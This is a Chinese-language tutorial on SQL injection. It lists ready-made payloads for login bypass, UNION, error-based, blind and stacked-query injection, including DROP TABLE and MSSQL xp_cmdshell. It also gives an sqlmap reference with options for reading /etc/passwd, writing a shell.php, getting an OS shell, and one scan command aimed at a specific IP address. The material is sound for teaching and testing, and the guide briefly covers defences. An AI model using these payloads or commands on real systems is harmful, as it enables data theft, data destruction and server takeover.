【Web漏洞】SQL 注入实战技巧

SQL 注入的产生是因为程序在处理数据时,错误的将用户输入的内容拼接到 SQL 语句中执行。

一、类型

基础型

  • 通过 or 语句,结合单引号 ' 提前闭合 SQL 语句,从而实现绕过校验的效果。
sql 复制代码
SELECT * FROM users WHERE username = 'admin' AND password = 'anything' OR '1'='1';
# payload 为 anything' OR '1'='1
  • 通过注释,提前结束 SQL 语句,从而实现绕过校验的效果
sql 复制代码
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything';
# payload 为 admin' -- (* 这里注意,对 MYSQL 而言,-- 注释后面至少需要跟一个 空格,才能被识别为注释)

UNION 查询注入

通过 UNION 查询注入,可以实现执行我们拼接的其它 SQL 语句,从而实现查询敏感数据。

注意:要求前后语句查询结果的列数一致

sql 复制代码
SELECT id, name FROM products WHERE id = '' UNION SELECT username, password FROM users -- ';
payload 为 ' UNION SELECT username, password FROM users -- 
sql 复制代码
select id,username,display_name,role_name from lab_users where username = '' UNION SELECT '1', 'test', @@version, 'test' -- ' and password_demo = '' OR '1'='1'
payload 为 ' UNION SELECT '1', 'test', @@version, 'test' -- 
sql 复制代码
-- 当前数据库名
' UNION SELECT '1', 'test', database(), 'test' -- 
-- 当前连接用户
' UNION SELECT '1', 'test', user(), 'test' -- 
-- 所有数据库列表
' UNION SELECT '1', 'test', (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 'test' -- 

错误型 SQL 注入

通过触发数据库报错,从而带出一些数据库信息。

注:前提是前端/响应包会回显错误信息。

sql 复制代码
SELECT id,username,display_name,role_name 
FROM lab_users 
WHERE username = '' AND 1=CAST((SELECT @@version) AS UNSIGNED) -- ' and password_demo = '' OR '1'='1'
payload 为 ' AND 1=CAST((SELECT @@version) AS UNSIGNED) -- 

盲注

通过页面的响应情况逐步推断数据。

注:可以执行SQL语句,但是页面不直接显示查询结果

  • 布尔型盲注:利用正确错误的不同,实现判断
sql 复制代码
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') -- ';
payload 为 ' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') -- 
  • 时间型盲注:利用响应时间的不同,实现判断
sql 复制代码
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) -- ';
payload 为 ' AND IF(1=1, SLEEP(5), 0) -- 

堆叠条件注入

注:MySQL 不支持

sql 复制代码
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

存储过程注入(特指 Microsoft SQL Server(MSSQL))

xp_cmdshell: SQL Server 独有的扩展存储过程,作用是调用操作系统的命令行(cmd.exe)来执行系统命令。其他数据库(如 MySQL、Oracle、PostgreSQL)中不存在。(SQL Server 默认已禁用)

sql 复制代码
'; EXEC xp_cmdshell('dir'); --

服务器在解析 Cookie 时执行了 SQL 查询

bash 复制代码
Cookie: session_id=' OR '1'='1;

二、防御

  • 参数化查询和预编译语句:用户输入与 SQL 语句分离
  • ORM 框架:自动生成 SQL 执行
  • 输入验证:转义特殊字符
  • 数据库权限:最小权限

三、SQLMap 的使用

SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,支持多种数据库(MySQL、PostgreSQL、Oracle、MSSQL、SQLite 等)。

  1. 检测一个 URL 是否存在 SQL 注入
bash 复制代码
# 测试一个 URL 是否存在 SQL 注入
python sqlmap.py -u "http://example.com/page.php?id=1"

# 测试 POST 请求
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=123"
python sqlmap.py -u "http://47.104.184.55:8080/modules/sql-injection/login" --data="username=test&password=test"
  1. 常用参数
  • 来源
参数 说明 示例
-u URL 指定目标 URL -u "http://site.com/page?id=1"
-g GOOGLE_DORK 通过 Google 搜索结果批量测试 -g "inurl:php?id="
-m FILE 从文件中读取多个目标 URL -m targets.txt
-r FILE 从文件加载 HTTP 请求(抓包保存的请求) -r request.txt
--crawl=DEPTH 爬取目标站点并自动测试 --crawl=3
  • 请求参数
参数 说明 示例
--method=METHOD 指定 HTTP 方法 --method=PUT
--data=DATA 指定 POST 数据 --data="id=1&name=test"
--cookie=COOKIE 指定 Cookie --cookie="PHPSESSID=abc123"
--headers=HEADERS 添加额外 HTTP 头 --headers="X-Forwarded-For: 1.1.1.1"
--user-agent=UA 自定义 User-Agent --user-agent="Mozilla/5.0..."
--random-agent 随机使用 User-Agent
--proxy=PROXY 使用代理 --proxy="http://127.0.0.1:8080"
--tor 通过 Tor 网络访问
--delay=SECONDS 请求间隔延迟(秒) --delay=2
--timeout=SECONDS 超时时间 --timeout=30
--retries=RETRIES 连接失败重试次数 --retries=3
  • 注入检测参数
参数 说明 示例
-p PARAM 指定要测试的参数 -p "id"
--dbms=DBMS 手动指定数据库类型(跳过识别) --dbms=mysql
--level=LEVEL 测试等级(1-5,默认1) --level=3
--risk=RISK 风险等级(1-3,默认1) --risk=2
--technique=TECH 指定注入技术类型 --technique=BEUSTQ
--prefix=PREFIX 手动指定注入前缀 --prefix="')"
--suffix=SUFFIX 手动指定注入后缀 --suffix="-- -"
  • level 等级说明:

1:仅测试 GET/POST 参数(默认)

2:增加 Cookie 测试

3:增加 User-Agent / Referer 测试

4:更广泛的 payload 测试

5:最全面,包含所有可能的注入点

  • risk 等级说明:

1:基本无副作用的测试(默认)

2:增加基于时间的盲注等

3:增加 OR 型注入(可能修改数据)

  • technique 技术类型:

B:Boolean-based blind(布尔盲注)

E:Error-based(报错注入)

U:Union query-based(联合查询注入)

S:Stacked queries(堆叠查询)

T:Time-based blind(时间盲注)

Q:Inline queries(内联查询)

  • 数据提取参数
参数 说明 示例
--dbs 列出所有数据库
--current-db 获取当前数据库名
--current-user 获取当前数据库用户
-D DB 指定数据库 -D testdb
--tables 列出指定数据库的所有表 -D testdb --tables
--columns 列出指定表的所有列 -D testdb -T users --columns
--dump 导出表数据 -D testdb -T users --dump
-T TABLE 指定表名 -T users
-C COL 指定列名(逗号分隔) -C "username,password"
--count 获取表中的记录数
--schema 获取数据库整体架构信息
--passwords 提取用户密码哈希
--privileges 查看用户权限
--roles 查看用户角色
--is-dba 判断当前用户是否为 DBA
  • 文件操作参数
参数 说明 示例
--file-read=FILE 读取服务器上的文件 --file-read="/etc/passwd"
--file-write=FILE 向服务器写入文件 --file-write="shell.php"
--file-dest=DEST 指定写入的目标路径 --file-dest="/var/www/shell.php"
  • 操作系统操作函数
参数 说明 示例
--os-cmd=CMD 执行操作系统命令 --os-cmd="whoami"
--os-shell 获取交互式操作系统 Shell
--os-pwn 获取 Meterpreter 会话
--os-smbrelay 通过 SMB 中继提权

SQL 注入 GetShell 说明

MySQL

通过 outfile 和 dumpfile 写 shell

  • 数据库当前用户为 root 权限;
  • 关闭 secure-file-priv
  • 知道当前网站的绝对路径;
  • 写入路径存在写入权限。

MySQL 提权

UDF 提权:这个博主写的好

SQL Server

  • xp_cmdshell 存储过程
相关推荐
di24k24k1 小时前
多个 el-form 共用同一 ref 导致表单校验部分失效
前端·javascript·vue.js·elementui
NutShell Wang2 小时前
每帧重建整条路径、每秒倾倒 48MB 给 GC:实时折线图渲染架构的实测复盘
前端·性能优化·架构·图形渲染·数据可视化·vibe coding
CodeHackerBhx2 小时前
Spring Boot 4 防重复提交:从接口幂等到 Redis 分布式锁的完整实践
java·数据库·spring boot·redis·分布式
xlxxy_2 小时前
外部系统调用SAP接口遇到的一些报错
开发语言·数据库·sap·abap
小彤花园2 小时前
和 AI 结对写网站:从 JSON 到一整个工具集
前端·人工智能·程序员
麦聪聊数据2 小时前
连锁零售全域数据管控(下):API 化服务输出,释放全域数据业务价值
数据库
RD_daoyi2 小时前
Google核心算法不再通知!全年持续滚动更新
大数据·服务器·前端·网络·搜索引擎·.net
এ慕ོ冬℘゜2 小时前
纯 CSS 实现自定义 Switch 开关(商品上下架滑块)
前端·css
再吃一根胡萝卜2 小时前
dompdf.js 分页功能完整实现指南
前端